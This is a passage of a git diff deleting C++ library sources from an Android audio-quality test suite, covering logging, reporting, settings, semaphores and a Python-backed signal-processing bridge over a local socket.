-    }
-    Settings::Instance()->addSetting(Settings::EREPORT_TIME, reportTime);
-    android::String8 path;
-    if (path.appendFormat("%s/%s", reportTopDir, reportTime.string()) != 0) {
-        return false;
-    }
-    result = mkdir(path.string(), S_IRWXU);
-    if ((result == -1) && (errno != EEXIST)) {
-        _LOGD_("mkdir of report dir failed, error %d", errno);
-        return false;
-    }
-    mDirPath = path;
-    dirPath = path;
-
-    return true;
-}
-
-FileUtil::FileUtil()
-{
-    mBuffer = new char[DEFAULT_BUFFER_SIZE];
-    if (mBuffer == NULL) {
-        // cannot use ASSERT here, just crash
-        abort();
-    }
-    mBufferSize = DEFAULT_BUFFER_SIZE;
-}
-
-FileUtil::~FileUtil()
-{
-    if (mFile.is_open()) {
-        mFile.close();
-    }
-    delete[] mBuffer;
-}
-
-bool FileUtil::init(const char* fileName)
-{
-    if (fileName == NULL) {
-        return true;
-    }
-
-    mFile.open(fileName, std::ios::out | std::ios::trunc);
-    if (!mFile.is_open()) {
-            return false;
-        }
-    return true;
-}
-
-bool FileUtil::doVprintf(bool fileOnly, int logLevel, const char *fmt, va_list ap)
-{
-    // prevent messed up log in multi-thread env. Still multi-line logs can be messed up.
-    android::Mutex::Autolock lock(mWriteLock);
-    while (1) {
-        int start = 0;
-        if (logLevel != -1) {
-            mBuffer[0] = '0' + logLevel;
-            mBuffer[1] = '>';
-            start = 2;
-        }
-        int size;
-        size = vsnprintf(mBuffer + start, mBufferSize - start - 2, fmt, ap); // 2 for \n\0
-        if (size < 0) {
-            fprintf(stderr, "FileUtil::vprintf failed");
-            return false;
-        }
-        if ((size + start + 2) > mBufferSize) {
-            //default buffer does not fit, increase buffer size and retry
-            delete[] mBuffer;
-            mBuffer = new char[2 * size];
-            if (mBuffer == NULL) {
-                // cannot use ASSERT here, just crash
-                abort();
-            }
-            mBufferSize = 2 * size;
-            // re-try
-            continue;
-        }
-        size += start;
-        mBuffer[size] = '\n';
-        size++;
-        mBuffer[size] = 0;
-
-        if (!fileOnly) {
-            fprintf(stdout, "%s", mBuffer);
-        }
-        if (mFile.is_open()) {
-            mFile<<mBuffer;
-        }
-        return true;
-    }
-}
-
-bool FileUtil::doPrintf(const char* fmt, ...)
-{
-    va_list ap;
-    va_start(ap, fmt);
-    bool result = doVprintf(false, -1, fmt, ap);
-    va_end(ap);
-    return result;
-}
diff --git a/suite/audio_quality/lib/src/GenericFactory.cpp b/suite/audio_quality/lib/src/GenericFactory.cpp
deleted file mode 100644
index d70d907..0000000
--- a/suite/audio_quality/lib/src/GenericFactory.cpp
+++ /dev/null
@@ -1,74 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-#include "Log.h"
-#include "GenericFactory.h"
-#include "ClientImpl.h"
-#include "task/TaskAll.h"
-
-ClientInterface* GenericFactory::createClientInterface()
-{
-    return new ClientImpl();
-}
-
-TaskGeneric* GenericFactory::createTask(TaskGeneric::TaskType type)
-{
-    TaskGeneric* task;
-    switch(type) {
-    case TaskGeneric::ETaskBatch:
-        task = new TaskBatch();
-        break;
-    case TaskGeneric::ETaskCase:
-        task = new TaskCase();
-        break;
-    case TaskGeneric::ETaskSequential:
-        task = new TaskSequential();
-        break;
-    case TaskGeneric::ETaskProcess:
-        task = new TaskProcess();
-        break;
-    case TaskGeneric::ETaskInput:
-        task = new TaskInput();
-        break;
-    case TaskGeneric::ETaskOutput:
-        task = new TaskOutput();
-        break;
-    case TaskGeneric::ETaskSound:
-        task = new TaskSound();
-        break;
-    case TaskGeneric::ETaskSave:
-        task = new TaskSave();
-        break;
-    // simple elements without its own class
-    case TaskGeneric::ETaskSetup:
-    case TaskGeneric::ETaskAction:
-        task = new TaskGeneric(type);
-        break;
-    case TaskGeneric::ETaskMessage:
-        task = new TaskMessage();
-        break;
-    case TaskGeneric::ETaskDownload:
-        task = new TaskDownload();
-        break;
-    default:
-        LOGE("GenericFactory::createTask unsupported type %d", type);
-        return NULL;
-    }
-    LOGD("GenericFactory::createTask 0x%x, type %d", task, type);
-    return task;
-}
-
-GenericFactory::~GenericFactory() {
-}
diff --git a/suite/audio_quality/lib/src/Log.cpp b/suite/audio_quality/lib/src/Log.cpp
deleted file mode 100644
index 1d2434a..0000000
--- a/suite/audio_quality/lib/src/Log.cpp
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-#include <stdio.h>
-#include <stdarg.h>
-
-#include "StringUtil.h"
-#include "Log.h"
-
-Log* Log::mInstance = NULL;
-
-#define ASSERT_PLAIN(cond) if(!(cond)) { fprintf(stderr, \
-        "assertion failed %s %d", __FILE__, __LINE__); \
-    abort(); };
-
-Log* Log::Instance(const char* dirName)
-{
-    if (!mInstance) {
-        mInstance = new Log();
-        ASSERT_PLAIN(mInstance->init(dirName));
-    }
-    return mInstance;
-}
-void Log::Finalize()
-{
-    delete mInstance;
-    mInstance = NULL;
-}
-void Log::printf(LogLevel level, const char* fmt, ...)
-{
-    va_list ap;
-    va_start(ap, fmt);
-    FileUtil::doVprintf(level < mLogLevel, level, fmt, ap);
-    va_end(ap);
-}
-
-void Log::setLogLevel(LogLevel level)
-{
-    mLogLevel = level;
-}
-
-Log::Log()
-    : mLogLevel(ELogV)
-{
-    ::fprintf(stderr, "Log level %d\n", mLogLevel);
-}
-
-Log::~Log()
-{
-
-}
-
-bool Log::init(const char* dirName)
-{
-    if (dirName == NULL) {
-        return true;
-    }
-    android::String8 logFile;
-    if (logFile.appendFormat("%s/log.txt", dirName) != 0) {
-        return false;
-    }
-    return FileUtil::init(logFile.string());
-}
-
-
-
diff --git a/suite/audio_quality/lib/src/RWBuffer.h b/suite/audio_quality/lib/src/RWBuffer.h
deleted file mode 100644
index 8065e3e..0000000
--- a/suite/audio_quality/lib/src/RWBuffer.h
+++ /dev/null
@@ -1,102 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_RWBUFFER_H
-#define CTSAUDIO_RWBUFFER_H
-
-#include <stdint.h>
-#include <utils/String8.h>
-#include "Log.h"
-
-/// utility for R/W buffer
-class RWBuffer {
-public:
-    explicit RWBuffer(int capacity)
-        : mCapacity(capacity),
-          mWrPoint(0),
-          mRdPoint(0) {
-        mBuffer = new char[capacity];
-    }
-
-    ~RWBuffer() {
-        delete[] mBuffer;
-    }
-
-    void reset() {
-        mWrPoint = 0;
-        mRdPoint = 0;
-    }
-
-    void resetWr() {
-        mWrPoint = 0;
-    }
-
-    void resetRd() {
-        mRdPoint = 0;
-    }
-
-    const char* getBuffer() {
-        return mBuffer;
-    }
-    char* getUnwrittenBuffer() {
-        return mBuffer + mWrPoint;
-    }
-
-    inline void assertWriteCapacity(int sizeToWrite) {
-        ASSERT((mWrPoint + sizeToWrite) <= mCapacity);
-    }
-    void increaseWritten(int size) {
-        assertWriteCapacity(0); // damage already done, but detect and panic if happened
-        mWrPoint += size;
-    }
-
-    int getSizeWritten() {
-        return mWrPoint;
-    }
-
-    int getSizeRead() {
-        return mRdPoint;
-    }
-
-    template <typename T> void write(T v) {
-        char* src = (char*)&v;
-        assertWriteCapacity(sizeof(T));
-        memcpy(mBuffer + mWrPoint, src, sizeof(T));
-        mWrPoint += sizeof(T);
-    }
-    void writeStr(const android::String8& str) {
-        size_t len = str.length();
-        assertWriteCapacity(len);
-        memcpy(mBuffer + mWrPoint, str.string(), len);
-        mWrPoint += len;
-    }
-    template <typename T> T read() {
-        T v;
-        ASSERT((mRdPoint + sizeof(T)) <= mWrPoint);
-        memcpy(&v, mBuffer + mRdPoint, sizeof(T));
-        mRdPoint += sizeof(T);
-    }
-
-private:
-    int mCapacity;
-    int mWrPoint;
-    int mRdPoint;
-    char* mBuffer;
-};
-
-
-#endif // CTSAUDIO_RWBUFFER_H
diff --git a/suite/audio_quality/lib/src/Report.cpp b/suite/audio_quality/lib/src/Report.cpp
deleted file mode 100644
index e47f3aa..0000000
--- a/suite/audio_quality/lib/src/Report.cpp
+++ /dev/null
@@ -1,123 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include "Log.h"
-#include "Settings.h"
-#include "StringUtil.h"
-#include "Report.h"
-#include "task/TaskCase.h"
-
-
-Report* Report::mInstance = NULL;
-
-Report* Report::Instance(const char* dirName)
-{
-    if (mInstance == NULL) {
-        mInstance = new Report();
-        ASSERT(mInstance->init(dirName));
-    }
-    return mInstance;
-}
-void Report::Finalize()
-{
-    delete mInstance;
-    mInstance = NULL;
-}
-
-
-Report::Report()
-{
-
-}
-
-Report::~Report()
-{
-    writeReport();
-    mFailedCases.clear();
-    mPassedCases.clear();
-}
-
-bool Report::init(const char* dirName)
-{
-    if (dirName == NULL) {
-        return true;
-    }
-    android::String8 report;
-    if (report.appendFormat("%s/report.xml", dirName) != 0) {
-        return false;
-    }
-    Settings::Instance()->addSetting(Settings::EREPORT_FILE, report);
-    return FileUtil::init(report.string());
-}
-
-void Report::printf(const char* fmt, ...)
-{
-    va_list ap;
-    va_start(ap, fmt);
-    FileUtil::doVprintf(false, -1, fmt, ap);
-    va_end(ap);
-}
-
-void Report::addCasePassed(const TaskCase* task)
-{
-    android::String8 name(" ");
-    task->getCaseName(name);
-    StringPair pair(name, task->getDetails());
-    mPassedCases.push_back(pair);
-}
-
-void Report::addCaseFailed(const TaskCase* task)
-{
-    android::String8 name(" ");
-    task->getCaseName(name);
-    StringPair pair(name, task->getDetails());
-    mFailedCases.push_back(pair);
-}
-
-void Report::writeResult(std::list<StringPair>::const_iterator begin,
-        std::list<StringPair>::const_iterator end, bool passed)
-{
-    std::list<StringPair>::const_iterator it;
-    for (it = begin; it != end; it++) {
-        if (passed) {
-            printf("    <test title=\"%s\" result=\"pass\" >", it->first.string());
-        } else {
-            printf("    <test title=\"%s\" result=\"fail\" >", it->first.string());
-        }
-        printf("        <details>\n%s", it->second.string());
-        printf("        </details>");
-        printf("    </test>");
-    }
-}
-
-void Report::writeReport()
-{
-    printf("<?xml version='1.0' encoding='utf-8' standalone='yes' ?>");
-    printf("<audio-test-results-report report-version=\"1\" creation-time=\"%s\">",
-            Settings::Instance()->getSetting(Settings::EREPORT_TIME).string());
-    printf("  <verifier-info version-name=\"1\" version-code=\"1\" />");
-    printf("  <device-info>");
-    printf("    %s", Settings::Instance()->getSetting(Settings::EDEVICE_INFO).string());
-    printf("  </device-info>");
-    printf("  <audio-test-results xml=\"%s\">",
-            Settings::Instance()->getSetting(Settings::ETEST_XML).string());
-
-    writeResult(mFailedCases.begin(), mFailedCases.end(), false);
-    writeResult(mPassedCases.begin(), mPassedCases.end(), true);
-
-    printf("  </audio-test-results>");
-    printf("</audio-test-results-report>");
-}
diff --git a/suite/audio_quality/lib/src/Semaphore.cpp b/suite/audio_quality/lib/src/Semaphore.cpp
deleted file mode 100644
index b430cad..0000000
--- a/suite/audio_quality/lib/src/Semaphore.cpp
+++ /dev/null
@@ -1,79 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include "Semaphore.h"
-
-
-Semaphore::Semaphore(int count)
-{
-    if (sem_init(&mSem, 0, count) != 0) {
-        ASSERT(false);
-    }
-}
-
-Semaphore::~Semaphore()
-{
-    sem_destroy(&mSem);
-}
-
-void Semaphore::tryWait()
-{
-    sem_trywait(&mSem);
-}
-
-bool Semaphore::wait()
-{
-    if (sem_wait(&mSem) == 0) {
-        return true;
-    } else {
-        return false;
-    }
-}
-
-bool Semaphore::timedWait(int timeInMSec)
-{
-    const int ONE_SEC_IN_NANOSEC = 1000000000;
-    const int ONE_MSEC_IN_NANOSEC = 1000000;
-    const int ONE_SEC_IN_MSEC = 1000;
-    struct timespec timeOld;
-    if (clock_gettime(CLOCK_REALTIME, &timeOld) != 0) {
-            return false;
-    }
-    int secToGo = timeInMSec / ONE_SEC_IN_MSEC;
-    int msecToGo = timeInMSec - (ONE_SEC_IN_MSEC * secToGo);
-    int nanoSecToGo = ONE_MSEC_IN_NANOSEC * msecToGo;
-    struct timespec timeNew = timeOld;
-    int nanoTotal = timeOld.tv_nsec + nanoSecToGo;
-    //LOGI("secToGo %d, msecToGo %d, nanoTotal %d", secToGo, msecToGo, nanoTotal);
-    if (nanoTotal > ONE_SEC_IN_NANOSEC) {
-        nanoTotal -= ONE_SEC_IN_NANOSEC;
-        secToGo += 1;
-    }
-    timeNew.tv_sec += secToGo;
-    timeNew.tv_nsec = nanoTotal;
-    //LOGV("Semaphore::timedWait now %d-%d until %d-%d for %d msecs",
-    //        timeOld.tv_sec, timeOld.tv_nsec, timeNew.tv_sec, timeNew.tv_nsec, timeInMSec);
-    if (sem_timedwait(&mSem, &timeNew) == 0) {
-        return true;
-    } else {
-        return false;
-    }
-}
-
-void Semaphore::post()
-{
-    sem_post(&mSem);
-}
diff --git a/suite/audio_quality/lib/src/Settings.cpp b/suite/audio_quality/lib/src/Settings.cpp
deleted file mode 100644
index 7af4c08..0000000
--- a/suite/audio_quality/lib/src/Settings.cpp
+++ /dev/null
@@ -1,47 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include "Settings.h"
-#include "Log.h"
-
-Settings* Settings::mInstance = NULL;
-
-Settings* Settings::Instance()
-{
-    if (mInstance == NULL) {
-        mInstance = new Settings();
-    }
-    return mInstance;
-}
-
-void Settings::Finalize()
-{
-    delete mInstance;
-    mInstance = NULL;
-}
-
-
-void Settings::addSetting(SettingType type, const android::String8& setting)
-{
-    mSettings[type] = setting;
-}
-const android::String8& Settings::getSetting(SettingType type)
-{
-    return mSettings[type];
-}
-
-
-
diff --git a/suite/audio_quality/lib/src/SignalProcessingImpl.cpp b/suite/audio_quality/lib/src/SignalProcessingImpl.cpp
deleted file mode 100644
index 21f9702..0000000
--- a/suite/audio_quality/lib/src/SignalProcessingImpl.cpp
+++ /dev/null
@@ -1,253 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-#include <errno.h>
-
-#include <utils/StrongPointer.h>
-
-#include "Log.h"
-#include "audio/Buffer.h"
-#include "StringUtil.h"
-#include "SimpleScriptExec.h"
-#include "SignalProcessingImpl.h"
-#include "task/TaskCase.h"
-
-enum ToPythonCommandType {
-    EHeader             = 0x0,
-    ETerminate          = 0x1,
-    EFunctionName       = 0x2,
-    EAudioMono          = 0x4,
-    EAudioStereo        = 0x5,
-    EValue64Int         = 0x8,
-    EValueDouble        = 0x9,
-    EExecutionResult    = 0x10
-};
-
-const android::String8 \
-    SignalProcessingImpl::MAIN_PROCESSING_SCRIPT("test_description/processing_main.py");
-
-SignalProcessingImpl::SignalProcessingImpl()
-    : mChildRunning(false),
-      mBuffer(1024)
-{
-
-}
-
-SignalProcessingImpl::~SignalProcessingImpl()
-{
-    if (mSocket.get() != NULL) {
-        int terminationCommand [] = {ETerminate, 0};
-        send((char*)terminationCommand, sizeof(terminationCommand));
-        mSocket->release();
-    }
-    if (mChildRunning) {
-        waitpid(mChildPid, NULL, 0);
-    }
-}
-
-#define CHILD_LOGE(x...) do { fprintf(stderr, x); \
-    fprintf(stderr, " %s - %d\n", __FILE__, __LINE__); } while(0)
-
-const int CHILD_WAIT_TIME_US = 100000;
-
-bool SignalProcessingImpl::init(const android::String8& script)
-{
-    pid_t pid;
-    if ((pid = fork()) < 0) {
-        LOGE("SignalProcessingImpl::init fork failed %d", errno);
-        return false;
-    } else if (pid == 0) { // child
-        if (execl(SimpleScriptExec::PYTHON_PATH, SimpleScriptExec::PYTHON_PATH,
-                script.string(), NULL) < 0) {
-            CHILD_LOGE("execl %s %s failed %d", SimpleScriptExec::PYTHON_PATH,
-                    script.string(), errno);
-            exit(EXIT_FAILURE);
-        }
-    } else { // parent
-        mChildPid = pid;
-        mChildRunning = true;
-        int result = false;
-        int retryCount = 0;
-        // not that clean, but it takes some time for python side to have socket ready
-        const int MAX_RETRY = 20;
-        while (retryCount < MAX_RETRY) {
-            usleep(CHILD_WAIT_TIME_US);
-            mSocket.reset(new ClientSocket());
-            if (mSocket.get() == NULL) {
-                result = false;
-                break;
-            }
-            if (mSocket->init("127.0.0.1", SCRIPT_PORT, true)) {
-                result = true;
-                break;
-            }
-            retryCount++;
-        }
-        if (!result) {
-            LOGE("cannot connect to child");
-            mSocket.reset(NULL);
-            return result;
-        }
-    }
-    return true;
-}
-
-
-TaskGeneric::ExecutionResult SignalProcessingImpl::run( const android::String8& functionScript,
-        int nInputs, bool* inputTypes, void** inputs,
-        int nOutputs, bool* outputTypes, void** outputs)
-{
-    mBuffer.reset();
-    mBuffer.write <int32_t>((int32_t)EHeader);
-    mBuffer.write<int32_t>(nInputs + 1);
-    mBuffer.write<int32_t>((int32_t)EFunctionName);
-    mBuffer.write<int32_t>((int32_t)functionScript.length());
-    mBuffer.writeStr(functionScript);
-    if (!send(mBuffer.getBuffer(), mBuffer.getSizeWritten())) {
-        LOGE("send failed");
-        return TaskGeneric::EResultError;
-    }
-    for (int i = 0; i < nInputs; i++) {
-        mBuffer.reset();
-        if (inputTypes[i]) { // android::sp<Buffer>*
-            android::sp<Buffer>* buffer = reinterpret_cast<android::sp<Buffer>*>(inputs[i]);
-            mBuffer.write<int32_t>((int32_t)((*buffer)->isStereo() ? EAudioStereo : EAudioMono));
-            int dataLen = (*buffer)->getSize();
-            mBuffer.write<int32_t>(dataLen);
-            if (!send(mBuffer.getBuffer(), mBuffer.getSizeWritten())) {
-                LOGE("send failed");
-                return TaskGeneric::EResultError;
-            }
-            if (!send((*buffer)->getData(), dataLen)) {
-                LOGE("send failed");
-                return TaskGeneric::EResultError;
-            }
-            LOGD("%d-th param buffer %d, stereo:%d", i, dataLen, (*buffer)->isStereo());
-        } else { //TaskCase::Value*
-            TaskCase::Value* val = reinterpret_cast<TaskCase::Value*>(inputs[i]);
-            bool isI64 = (val->getType() == TaskCase::Value::ETypeI64);
-            mBuffer.write<int32_t>((int32_t)(isI64 ? EValue64Int : EValueDouble));
-            if (isI64) {
-                mBuffer.write<int64_t>(val->getInt64());
-            } else  {
-                mBuffer.write<double>(val->getDouble());
-            }
-            if (!send(mBuffer.getBuffer(), mBuffer.getSizeWritten())) {
-                LOGE("send failed");
-                return TaskGeneric::EResultError;
-            }
-            LOGD("%d-th param Value", i);
-        }
-    }
-    int32_t header[4]; // id 0 - no of types - id 0x10 - ExecutionResult
-    if (!read((char*)header, sizeof(header))) {
-        LOGE("read failed");
-        return TaskGeneric::EResultError;
-    }
-    if (header[0] != 0) {
-        LOGE("wrong data");
-        return TaskGeneric::EResultError;
-    }
-    if (header[2] != EExecutionResult) {
-        LOGE("wrong data");
-        return TaskGeneric::EResultError;
-    }
-    if (header[3] == TaskGeneric::EResultError) {
-        LOGE("script returned error %d", header[3]);
-        return (TaskGeneric::ExecutionResult)header[3];
-    }
-    if ((header[1] - 1) != nOutputs) {
-        LOGE("wrong data");
-        return TaskGeneric::EResultError;
-    }
-    for (int i = 0; i < nOutputs; i++) {
-        int32_t type;
-        if (!read((char*)&type, sizeof(type))) {
-            LOGE("read failed");
-            return TaskGeneric::EResultError;
-        }
-        if (outputTypes[i]) { // android::sp<Buffer>*
-            int32_t dataLen;
-            if (!read((char*)&dataLen, sizeof(dataLen))) {
-                LOGE("read failed");
-                return TaskGeneric::EResultError;
-            }
-            android::sp<Buffer>* buffer = reinterpret_cast<android::sp<Buffer>*>(outputs[i]);
-            if (buffer->get() == NULL) { // data not allocated, this can happen for unknown-length output
-                *buffer = new Buffer(dataLen, dataLen, (type == EAudioStereo) ? true: false);
-                if (buffer->get() == NULL) {
-                    LOGE("alloc failed");
-                    return TaskGeneric::EResultError;
-                }
-            }
-            bool isStereo = (*buffer)->isStereo();
-
-            if (((type == EAudioStereo) && isStereo) || ((type == EAudioMono) && !isStereo)) {
-                // valid
-            } else {
-                LOGE("%d-th output wrong type %d stereo: %d", i, type, isStereo);
-                return TaskGeneric::EResultError;
-            }
-
-            if (dataLen > (int)(*buffer)->getSize()) {
-                LOGE("%d-th output data too long %d while buffer size %d", i, dataLen,
-                        (*buffer)->getSize());
-                return TaskGeneric::EResultError;
-            }
-            if (!read((*buffer)->getData(), dataLen)) {
-                LOGE("read failed");
-                return TaskGeneric::EResultError;
-            }
-            LOGD("received buffer %x %x", ((*buffer)->getData())[0], ((*buffer)->getData())[1]);
-            (*buffer)->setHandled(dataLen);
-            (*buffer)->setSize(dataLen);
-        } else { //TaskCase::Value*
-            TaskCase::Value* val = reinterpret_cast<TaskCase::Value*>(outputs[i]);
-            if ((type == EValue64Int) || (type == EValueDouble)) {
-                if (!read((char*)val->getPtr(), sizeof(int64_t))) {
-                    LOGE("read failed");
-                    return TaskGeneric::EResultError;
-                }
-                if (type == EValue64Int) {
-                    val->setType(TaskCase::Value::ETypeI64);
-                } else {
-                    val->setType(TaskCase::Value::ETypeDouble);
-                }
-            } else {
-                LOGE("wrong type %d", type);
-                return TaskGeneric::EResultError;
-            }
-        }
-    }
-    return (TaskGeneric::ExecutionResult)header[3];
-}
-
-bool SignalProcessingImpl::send(const char* data, int len)
-{
-    //LOGD("send %d", len);
-    return mSocket->sendData(data, len);
-}
-
-bool SignalProcessingImpl::read(char* data, int len)
-{
-    const int READ_TIMEOUT_MS = 60000 * 2; // as some calculation like calc_delay takes almost 20 secs
-    //LOGD("read %d", len);
-    return mSocket->readData(data, len, READ_TIMEOUT_MS);
-}
-
diff --git a/suite/audio_quality/lib/src/SignalProcessingImpl.h b/suite/audio_quality/lib/src/SignalProcessingImpl.h
deleted file mode 100644
index 2b8b8e0..0000000
--- a/suite/audio_quality/lib/src/SignalProcessingImpl.h
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#ifndef CTSAUDIO_SIGNALPROCESSINGIMPL_H
-#define CTSAUDIO_SIGNALPROCESSINGIMPL_H
-
-#include <memory>
-#include <utils/String8.h>
-
-#include "SignalProcessingInterface.h"
-#include "ClientSocket.h"
-#include "RWBuffer.h"
-
-/**
- * Implements SignalProcessingInterface
- */
-class SignalProcessingImpl: public SignalProcessingInterface {
-public:
-    static const android::String8 MAIN_PROCESSING_SCRIPT;
-    SignalProcessingImpl();
-    virtual ~SignalProcessingImpl();
-    /**
-     * @param script main script to call function script
-     */
-    virtual bool init(const android::String8& script);
-
-    virtual TaskGeneric::ExecutionResult run(const android::String8& functionScript,
-            int nInputs, bool* inputTypes, void** inputs,
-            int nOutputs, bool* outputTypes, void** outputs);
-private:
-    bool send(const char* data, int len);
-    bool read(char* data, int len);
-
-private:
-    static const int SCRIPT_PORT = 15010;
-    std::unique_ptr<ClientSocket> mSocket;
-    pid_t mChildPid;
-    bool mChildRunning;
-    RWBuffer mBuffer;
-};
-
-
-#endif //CTSAUDIO_SIGNALPROCESSINGIMPL_H
diff --git a/suite/audio_quality/lib/src/SimpleScriptExec.cpp b/suite/audio_quality/lib/src/SimpleScriptExec.cpp
deleted file mode 100644
index 0a2045b..0000000
--- a/suite/audio_quality/lib/src/SimpleScriptExec.cpp
+++ /dev/null
@@ -1,90 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include <stdlib.h>
-#include <stdio.h>
-
-#include "Log.h"
-#include "StringUtil.h"
-
-#include "SimpleScriptExec.h"
-
-const char* SimpleScriptExec::PYTHON_PATH = "/usr/bin/python";
-const char* PASS_MAGIC_WORD = "___CTS_AUDIO_PASS___";
-
-bool SimpleScriptExec::checkPythonEnv()
-{
-    android::String8 script("test_description/conf/check_conf.py");
-    android::String8 param;
-    android::String8 result;
-    if (!runScript(script, param, result)) {
-        return false;
-    }
-
-    android::String8 rePattern;
-    return checkIfPassed(result, rePattern);
-}
-
-bool SimpleScriptExec::checkIfPassed(const android::String8& str, const android::String8& reMatch,
-        int nmatch, regmatch_t pmatch[])
-{
-    android::String8 match;
-    match.append(PASS_MAGIC_WORD);
-    match.append(reMatch);
-    LOGV("re match %s", match.string());
-    regex_t re;
-    int cflags = REG_EXTENDED;
-    if (nmatch == 0) {
-        cflags |= REG_NOSUB;
-    }
-    if (regcomp(&re, match.string(), cflags) != 0) {
-        LOGE("regcomp failed");
-        return false;
-    }
-    bool result = false;
-    if (regexec(&re, str.string(), nmatch, pmatch, 0) == 0) {
-        // match found. passed
-        result = true;
-    }
-    regfree(&re);
-    return result;
-}
-
-bool SimpleScriptExec::runScript(const android::String8& script, const android::String8& param,
-        android::String8& result)
-{
-    FILE *fpipe;
-    android::String8 command;
-    command.appendFormat("%s %s %s", PYTHON_PATH, script.string(), param.string());
-    const int READ_SIZE = 1024;
-    char buffer[READ_SIZE];
-    size_t len = 0;
-
-    if ( !(fpipe = (FILE*)popen(command.string(),"r")) ) {
-        LOGE("cannot execute python");
-        return false;
-    }
-    result.clear();
-    while((len = fread(buffer, 1, READ_SIZE, fpipe)) > 0) {
-        result.append(buffer, len);
-    }
-    pclose(fpipe);
-
-    return true;
-}
-
-
-
diff --git a/suite/audio_quality/lib/src/SimpleScriptExec.h b/suite/audio_quality/lib/src/SimpleScriptExec.h
deleted file mode 100644
index 28117c4..0000000
--- a/suite/audio_quality/lib/src/SimpleScriptExec.h
+++ /dev/null
@@ -1,57 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#ifndef CTSAUDIO_SIMPLESCRIPTEXEC_H
-#define CTSAUDIO_SIMPLESCRIPTEXEC_H
-
-#include <sys/types.h>
-#include <regex.h>
-
-#include <utils/String8.h>
-
-/**
- * Utility class for executing simple scripts
- * which prints ___CTS_AUDIO_PASS___ string in output
- */
